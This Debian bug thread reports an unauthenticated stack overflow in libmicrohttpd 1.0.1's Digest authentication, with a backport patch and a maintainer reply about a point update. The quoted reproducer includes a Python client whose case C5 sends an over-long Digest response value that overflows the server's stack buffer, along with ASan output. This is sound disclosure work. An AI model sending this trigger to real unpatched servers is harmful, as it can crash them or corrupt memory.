Thread View: linux.debian.bugs.dist
2 messages
2 total messages
Started by Florian Ernst
Sun, 29 Nov 2026 14:40
Bug#1155714: libmicrohttpd: unauthenticated stack overflow in Digest auth, upstream fix 5a73c1a (1.0.7) not in trixie
Author: Florian Ernst
Date: Sun, 29 Nov 2026 14:40
Date: Sun, 29 Nov 2026 14:40
406 lines
18789 bytes
18789 bytes
--+ea1jVCI80eKz0Ci
Content-Type: text/plain; charset=iso-8859-15
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Hello all,
thanks =D6zg=FCn K=FCltekin for the pointer and the details.
@Security Team, as per this bugreport you "asked for this to be filed as
a public bug", which was now done at "Severity: important". Does this
mean it does not meet your requirements for issuing a DSA, and I should
rather go the route of Stable Proposed Updates? Just trying to clarify
which path to follow when preparing an update.
Cheers,
Flo
PS: Full quote for quick reference. This is <https://bugs.debian.org/115571=
4>.
On Sat, Nov 28, 2026 at 04:22:15PM -0800, =D6zg=FCn K=FCltekin wrote:
> Source: libmicrohttpd
> Version: 1.0.1-4
> Severity: important
> Tags: security upstream patch
>=20
> libmicrohttpd 1.0.1-4 in trixie has a remote stack buffer overflow in
> its Digest authentication code that upstream fixed in July and that
> was never backported. Any HTTP client of a program that uses the 1.0
> Digest API can write attacker-chosen bytes past a 32-byte stack buffer
> in the server, without the password.
>=20
> In src/microhttpd/digestauth.c (1.0.1, line 2953),
> digest_auth_check_all_inner() hex-decodes the client's response=3D value
> into hash1_bin[MAX_DIGEST] (32 bytes) with MHD_hex_to_bin() and checks
> the length only after the decode. A response=3D of more than 64 hex
> characters writes len/2 bytes, set by the client, over the stack after
> hash1_bin. The client needs a user name the application knows, the
> protection space name from the 401 challenge and a fresh nonce from
> the same challenge. It does not need the password.
>=20
> Upstream fixed this in commit 5a73c1a (2026-07-27), released in 1.0.7,
> with a length check before the decode. forky and sid have 1.0.10 and
> 1.0.11. trixie (1.0.1-4) is unpatched. Ubuntu 24.04 (1.0.0) has the
> same code, and is tracked in Launchpad bug 2178288. We found no CVE
> for it. bookworm's 0.9.75 predates the rewritten Digest code.
>=20
> We ran upstream 1.0.1 with ASan behind a minimal Digest app:
> stack-buffer-overflow WRITE in MHD_hex_to_bin (mhd_str.c:1736) called
> from digest_auth_check_all_inner (digestauth.c:2953). On the stock
> trixie package the same request executes the overflowing decode. With
> a 32-byte overwrite it answered 401 and stayed up. Upstream 1.0.10
> rejects the request with no ASan report.
>=20
> The attached backport-response-length-1.0.1.patch is the minimal hunk
> from 5a73c1a for 1.0.0 and 1.0.1 (it applies to upstream 1.0.1).
> Upstream 1.0.7 and 1.0.8 contain more fixes from the same reporter, so
> the whole 1.0.7 to 1.0.8 delta is worth a look.
>=20
> Attached: details.txt, backport-response-length-1.0.1.patch, and
> repro.txt, a text bundle with the test app, client, Dockerfile, run
> script and our output.
>=20
> The Security Team asked for this to be filed as a public bug.
>=20
> Thanks,
> ozgun kultekin, wakefield (wakefield.co)
> libmicrohttpd 1.0.0 / 1.0.1: Digest response=3D hex decode overflows a st=
ack buffer (fixed upstream in 1.0.7)
>=20
> Code (upstream 1.0.1, src/microhttpd/digestauth.c)
>=20
> uint8_t hash1_bin[MAX_DIGEST]; /* line 2550, 32 bytes */
> ...
> unq_res =3D get_unquoted_param (¶ms->response, tmp1, ptmp2, &tmp2=
_size, &unquoted);
> if (_MHD_UNQ_OK !=3D unq_res)
> return MHD_DAUTH_ERROR;
> if (digest_size !=3D MHD_hex_to_bin (unquoted.str, unquoted.len, hash=
1_bin)) /* line 2953 */
>=20
> MHD_hex_to_bin() (mhd_str.c:1736) writes len/2 bytes. The response=3D val=
ue is bounded only by the request header size. The comparison with digest_s=
ize happens after the write.
>=20
> Upstream fix: commit 5a73c1a (2026-07-27), released in 1.0.7. It adds
>=20
> if (unquoted.len > MAX_AUTH_RESPONSE_LENGTH)
> return MHD_DAUTH_ERROR;
>=20
> before the decode (digestauth.c:2992 in 1.0.10). ChangeLog: "Fixing vario=
us vulnerabilities reported by A. Ramos resulting in possible crashes or ou=
t-of-bounds stack writes for certain requests in specific configurations." =
No CVE found on 2026-11-24.
>=20
> Requirements
>=20
> An application built on libmicrohttpd that calls MHD_digest_auth_check3()=
/ MHD_digest_auth_check_digest3() or the 1.0 wrappers. The client sends:
>=20
> Authorization: Digest username=3D"<known user>", realm=3D"<realm>", u=
ri=3D"<request uri>", nonce=3D"<nonce from the 401>", response=3D"<more tha=
n 64 hex chars>", ...
>=20
> The user name and the protection space name (the value the server sends i=
n its 401 challenge) are compared before the response is decoded. The passw=
ord is not needed.
>=20
> Versions
>=20
> upstream 1.0.1 affected, run with ASan
> Debian 13 trixie 1.0.1-4 affected, the overflowing decode =
runs on the stock package (no crash with a 32-byte overwrite)
> Ubuntu 24.04 noble 1.0.0-2.1ubuntu2 affected by source reading (same =
code), not built
> Debian forky 1.0.10-1, sid 1.0.11-1 fixed
> upstream 1.0.10 fixed, run with ASan: 401, no rep=
ort
> Debian 12 bookworm 0.9.75-6 older Digest code, not this bug
>=20
> Reproducer (repro/)
>=20
> ./run.sh
>=20
> run.sh downloads libmicrohttpd-1.0.1.tar.gz (sha256 a89e09fc9b4de34dde19f=
4fcb4faaa1ce10299b9908db1132bbfa1de47882b94), builds the image from Dockerf=
ile and runs offline. mhdapp.c is a minimal Digest app modelled on upstream=
's digest_auth_example_adv.c (user alice, protection space lab@embhttp). dc=
lient.py 127.0.0.1 8080 sends controls C1 to C4 and C6 to C8 and the trigge=
r C5 (the correct response plus 64 extra hex characters).
>=20
> Our output (repro/run-2026-11-20.txt)
>=20
> stock Debian 13 1.0.1-4: C5 answered 401, server alive afterwards (C8=
200)
> upstream 1.0.1 + ASan: C5 drops the connection;
> ERROR: AddressSanitizer: stack-buffer-overflow
> WRITE of size 1
> MHD_hex_to_bin mhd_str.c:1736
> digest_auth_check_all_inner digestauth.c:2953
> MHD_digest_auth_check3 digestauth.c:3191
>=20
> Backport
>=20
> backport-response-length-1.0.1.patch is the one hunk above against upstre=
am 1.0.1 (patch --dry-run clean on the upstream tarball, not tried on the D=
ebian or Ubuntu patched trees).
> =3D=3D=3D=3D=3D Dockerfile =3D=3D=3D=3D=3D
> # Debian 13 stock libmicrohttpd (1.0.1-4 at test time) + upstream 1.0.1 b=
uilt with ASan (tarball copied in by run.sh)
> FROM debian:trixie
> RUN apt-get update && DEBIAN_FRONTEND=3Dnoninteractive apt-get install -y=
--no-install-recommends \
> build-essential pkg-config libmicrohttpd-dev python3 && rm -rf /var/l=
ib/apt/lists/*
> COPY mhdapp.c dclient.py libmicrohttpd-1.0.1.tar.gz /lab/
> RUN cd /lab && gcc -O1 -o mhdapp-deb mhdapp.c -lmicrohttpd && tar xzf lib=
microhttpd-1.0.1.tar.gz && mkdir obj && cd obj && \
> CFLAGS=3D'-O1 -g -fsanitize=3Daddress -fno-omit-frame-pointer' LDFLAG=
S=3D-fsanitize=3Daddress ../libmicrohttpd-1.0.1/configure --disable-https -=
-disable-doc --disable-examples >/dev/null && make -j4 >/dev/null && \
> cd /lab && gcc -O1 -g -fsanitize=3Daddress -Iobj/src/include -Ilibmic=
rohttpd-1.0.1/src/include -o mhdapp-asan mhdapp.c obj/src/microhttpd/.libs/=
libmicrohttpd.so -Wl,-rpath,/lab/obj/src/microhttpd/.libs
>=20
>=20
> =3D=3D=3D=3D=3D dclient.py =3D=3D=3D=3D=3D
> #!/usr/bin/env python3
> """embhttp lab Digest client: controls + malformed-response probes. Usage=
: dclient.py host port"""
> import hashlib, http.client, re, sys
>=20
> H, P =3D sys.argv[1], int(sys.argv[2])
> USER, REALM, PW =3D "alice", "lab@embhttp", "Secret-2026"
>=20
>=20
> def req(auth=3DNone, uri=3D"/x"):
> c =3D http.client.HTTPConnection(H, P, timeout=3D5)
> hd =3D {"Authorization": auth} if auth else {}
> try:
> c.request("GET", uri, headers=3Dhd)
> r =3D c.getresponse()
> return r.status, r.getheader("WWW-Authenticate"), r.read()
> except Exception as e: # connection reset =3D server died
> return "EXC:" + type(e).__name__, None, b""
>=20
>=20
> def challenge():
> st, wa, _ =3D req()
> m =3D re.search(r'nonce=3D"([^"]+)"', wa or "")
> a =3D re.search(r'algorithm=3D([\w-]+)', wa or "")
> return m.group(1), (a.group(1) if a else "MD5")
>=20
>=20
> def h(alg, s):
> return (hashlib.sha256 if alg.upper().startswith("SHA-256") else hash=
lib.md5)(s.encode()).hexdigest()
>=20
>=20
> def resp(alg, nonce, pw=3DPW, nc=3D"00000001", cnonce=3D"c0ffee", uri=3D"=
/x"):
> ha1 =3D h(alg, f"{USER}:{REALM}:{pw}")
> ha2 =3D h(alg, f"GET:{uri}")
> return h(alg, f"{ha1}:{nonce}:{nc}:{cnonce}:auth:{ha2}")
>=20
>=20
> def hdr(alg, nonce, response, nc=3D"00000001", cnonce=3D"c0ffee", uri=3D"=
/x"):
> return (f'Digest username=3D"{USER}", realm=3D"{REALM}", nonce=3D"{no=
nce}", uri=3D"{uri}", '
> f'algorithm=3D{alg}, response=3D"{response}", qop=3Dauth, nc=
=3D{nc}, cnonce=3D"{cnonce}"')
>=20
>=20
> def case(name, mk):
> nonce, alg =3D challenge()
> st, _, body =3D req(mk(nonce, alg))
> print(f"{name:45s} -> {st} {body[:20]!r}")
>=20
>=20
> case("C1 correct password", lambda n, a: hdr(a, n, resp(a, n)))
> case("C2 wrong password", lambda n, a: hdr(a, n, resp(a, n, pw=3D"wrong")=
))
> case("C3 empty response", lambda n, a: hdr(a, n, ""))
> case("C4 truncated response (first 8 hex)", lambda n, a: hdr(a, n, resp(a=
, n)[:8]))
> case("C5 correct + 64 extra hex (128 chars)", lambda n, a: hdr(a, n, resp=
(a, n) + "41" * 32))
> case("C6 128 hex 'ff'", lambda n, a: hdr(a, n, "ff" * 64))
> case("C7 garbage nonce", lambda n, a: hdr(a, "A" * len(n), resp(a, "A" * =
len(n))))
> print("after probes, control again:")
> case("C8 correct password (server alive?)", lambda n, a: hdr(a, n, resp(a=
, n)))
>=20
>=20
> =3D=3D=3D=3D=3D mhdapp.c =3D=3D=3D=3D=3D
> /* embhttp lab: minimal libmicrohttpd digest-auth app (pattern of src/exa=
mples/digest_auth_example_adv.c) */
> #include <microhttpd.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
>=20
> #define REALM "lab@embhttp"
> #define USER "alice"
> #define PASS "Secret-2026"
>=20
> static enum MHD_Result
> ahc (void *cls, struct MHD_Connection *c, const char *url, const char *me=
thod,
> const char *version, const char *upload_data, size_t *upload_data_si=
ze,
> void **req_cls)
> {
> struct MHD_Response *r;
> enum MHD_Result ret;
> enum MHD_DigestAuthResult res;
> static const char ok[] =3D "SECRET-PAGE\n";
> static const char deny[] =3D "denied\n";
> (void) cls; (void) url; (void) method; (void) version; (void) upload_da=
ta;
> (void) upload_data_size; (void) req_cls;
>=20
> res =3D MHD_digest_auth_check3 (c, REALM, USER, PASS, 300, 0,
> MHD_DIGEST_AUTH_MULT_QOP_AUTH,
> MHD_DIGEST_AUTH_MULT_ALGO3_ANY_NON_SESSIO=
N);
> fprintf (stderr, "check3 -> %d\n", (int) res);
> if (MHD_DAUTH_OK =3D=3D res)
> {
> r =3D MHD_create_response_from_buffer_static (sizeof(ok) - 1, ok);
> ret =3D MHD_queue_response (c, MHD_HTTP_OK, r);
> }
> else
> {
> r =3D MHD_create_response_from_buffer_static (sizeof(deny) - 1, deny);
> ret =3D MHD_queue_auth_required_response3 (c, REALM, "op", NULL, r,
> (MHD_DAUTH_NONCE_STALE =3D=
=3D res),
> MHD_DIGEST_AUTH_MULT_QOP_AUT=
H,
> MHD_DIGEST_AUTH_MULT_ALGO3_S=
HA256,
> 0, 0);
> }
> MHD_destroy_response (r);
> return ret;
> }
>=20
> int
> main (int argc, char **argv)
> {
> struct MHD_Daemon *d;
> static char rnd[32];
> FILE *f =3D fopen ("/dev/urandom", "rb");
> if (! f || fread (rnd, 1, sizeof(rnd), f) !=3D sizeof(rnd)) return 1;
> fclose (f);
> d =3D MHD_start_daemon (MHD_USE_INTERNAL_POLLING_THREAD | MHD_USE_ERROR=
_LOG,
> argc > 1 ? atoi (argv[1]) : 8080, NULL, NULL, &ah=
c, NULL,
> MHD_OPTION_DIGEST_AUTH_RANDOM, sizeof(rnd), rnd,
> MHD_OPTION_NONCE_NC_SIZE, 300,
> MHD_OPTION_END);
> if (! d) return 2;
> fprintf (stderr, "MHD %s listening\n", MHD_get_version ());
> for (;;) pause ();
> }
>=20
>=20
> =3D=3D=3D=3D=3D run-2026-11-20.txt =3D=3D=3D=3D=3D
> =3D=3D=3D deb (stock Debian 13 libmicrohttpd12t64 1.0.1-4, non-ASan)
> C1 correct password -> 200 b'SECRET-PAGE\n'
> C2 wrong password -> 401 b'denied\n'
> C3 empty response -> 401 b'denied\n'
> C4 truncated response (first 8 hex) -> 401 b'denied\n'
> C5 correct + 64 extra hex (128 chars) -> 401 b'denied\n'
> C6 128 hex 'ff' -> 401 b'denied\n'
> C7 garbage nonce -> 401 b'denied\n'
> after probes, control again:
> C8 correct password (server alive?) -> 200 b'SECRET-PAGE\n'
> MHD 1.0.1 listening
> check3 -> -1
> check3 -> 1
> libmicrohttpd.so.12 =3D> /lib/x86_64-linux-gnu/libmicrohttpd.so.12 (0x00=
007fd2dfb30000)
> =3D=3D=3D 1.0.1-asan
> C1 correct password -> 200 b'SECRET-PAGE\n'
> C2 wrong password -> 401 b'denied\n'
> C3 empty response -> 401 b'denied\n'
> C4 truncated response (first 8 hex) -> 401 b'denied\n'
> C5 correct + 64 extra hex (128 chars) -> EXC:RemoteDisconnected b=
''
> =3D=3D7=3D=3DERROR: AddressSanitizer: stack-buffer-overflow on address 0x=
7f0ee03fd520 at pc 0x7f0ee3ed6031 bp 0x7f0ee12f5010 sp 0x7f0ee12f5008
> WRITE of size 1 at 0x7f0ee03fd520 thread T1
> #0 0x7f0ee3ed6030 in MHD_hex_to_bin ../../../libmicrohttpd-1.0.1/src/=
microhttpd/mhd_str.c:1736
> #1 0x7f0ee3ee84f9 in digest_auth_check_all_inner ../../../libmicrohtt=
pd-1.0.1/src/microhttpd/digestauth.c:2953
> #2 0x7f0ee3eebf02 in digest_auth_check_all ../../../libmicrohttpd-1.0=
=2E1/src/microhttpd/digestauth.c:3101
> #3 0x7f0ee3eebf02 in MHD_digest_auth_check3 ../../../libmicrohttpd-1.=
0.1/src/microhttpd/digestauth.c:3191
> #0 0x7f0ee3ee6205 in digest_auth_check_all_inner ../../../libmicrohtt=
pd-1.0.1/src/microhttpd/digestauth.c:2545
> #0 0x7f0ee4003ae1 in pthread_create ../../../../src/libsanitizer/asan=
/asan_interceptors.cpp:245
> libmicrohttpd12t64:amd64 1.0.1-4
>=20
>=20
> =3D=3D=3D=3D=3D run.sh =3D=3D=3D=3D=3D
> #!/bin/bash
> # Digest response longer than the digest -> MHD_hex_to_bin overflows hash=
1_bin[32] (digestauth.c:2953, MHD < 1.0.7).
> # Runs server + client in one container, --network none, non-root. Networ=
k needed only for the tarball/apt build.
> set -eu
> cd "$(dirname "$0")"
> [ -f libmicrohttpd-1.0.1.tar.gz ] || curl -fsSLO https://ftpmirror.gnu.or=
g/libmicrohttpd/libmicrohttpd-1.0.1.tar.gz
> IMAGE=3D${IMAGE:-l127-mhd}
> docker image inspect "$IMAGE" >/dev/null 2>&1 || docker build -t "$IMAGE"=
.
> for v in deb asan; do
> echo "=3D=3D=3D mhdapp-$v"
> docker run --rm --network none --memory 2g --user 65534:65534 -e ASAN_O=
PTIONS=3Ddetect_leaks=3D0 "$IMAGE" sh -c "
> /lab/mhdapp-$v 8080 >/tmp/s.log 2>&1 & sleep 1
> timeout 60 python3 /lab/dclient.py 127.0.0.1 8080 2>&1 | grep -E '^C[=
0-9]|after'; sleep 1
> grep -E 'ERROR|WRITE|#[0-3] |SUMMARY' /tmp/s.log | head -8; dpkg-quer=
y -W 'libmicrohttpd12*'"
> done
>=20
>=20
--+ea1jVCI80eKz0Ci
Content-Type: application/pgp-signature; name="signature.asc"
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEBn03XtJwVyplJ26xBjdBuvXdHs4FAmsMOF8ACgkQBjdBuvXd
Hs6TIA//cAIDYETvTEZOcb4SfVRouQWGP1X2clzKBtez0TB28+gCYv/c9PJ+7a6G
oJZQq5cvzMsskEqXn5tb+NIYTb9w4Cjen2Ia3lg+CBF+uO40zVj6JmNaNaxpv2Su
rlAZs7GNUyzeudWAVM84kMOoysM/xmRp9/RJKMLL47qk8itdTVn+eZeB0OIWi3XF
tspWIRz1vf2AruILYPAaGySGM1A/msYf+BfllDGylBTQmKHIWL69IT/K+5PIsMot
X6LxRv+mkeMSp9oX7rrAHiC7nRTBjPPvdJ6S2z5jQ5ufAMAYDXpf51lNnStQLSKT
f7RzEcCnLU+VOU2aBGIA/RUUPX2dOtiFJBUr0qX3iz5cbYxMT/8IV0XdNGmwFjHa
VJaDPPFN8ptq6+6JLhpmpOztSpJe7ZLdstHzsYOiCX8lr91BwmqW65D+w6JMYIeP
VqxXt7ItnFJgwO39g3rfWPbopnTAf8c30TQ5Ud6Rb180v4iP2yfiSw0wtC/8nRaV
knASpogzjaPXnvGc2pWJrVn5xIddxmmydkDEANf0b/92mYuRx510b7YuZWgLcEIZ
0ODos/tG3ruZuWdcRdFCWKtRorkED+/7NCZ4GDg8+9XECxGYE72JupQkCO41cFQA
0qH6QshX87vNbG1vRHnEZpWXXX1LRzbUoLxly/QWXhRnmCgsE88=
=fJmJ
-----END PGP SIGNATURE-----
--+ea1jVCI80eKz0Ci--
Bug#1155714: libmicrohttpd: unauthenticated stack overflow in Digest auth, upstream fix 5a73c1a (1.0.7) not in trixie
Author: Moritz Mühlenhoff
Date: Mon, 30 Nov 2026 20:10
Date: Mon, 30 Nov 2026 20:10
18 lines
2745 bytes
2745 bytes
Hi Florian,
On Sun, Nov 29, 2026 at 03:36:20PM +0100, Florian Ernst wrote:
> Hello all,
>
> thanks Özgün Kültekin for the pointer and the details.
>
> @Security Team, as per this bugreport you "asked for this to be filed as
> a public bug", which was now done at "Severity: important". Does this
> mean it does not meet your requirements for issuing a DSA, and I should
> rather go the route of Stable Proposed Updates? Just trying to clarify
> which path to follow when preparing an update.
Indeed, I think fixing this via the next trixie point update is perfectly
fine.
Cheers,
Moritz
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads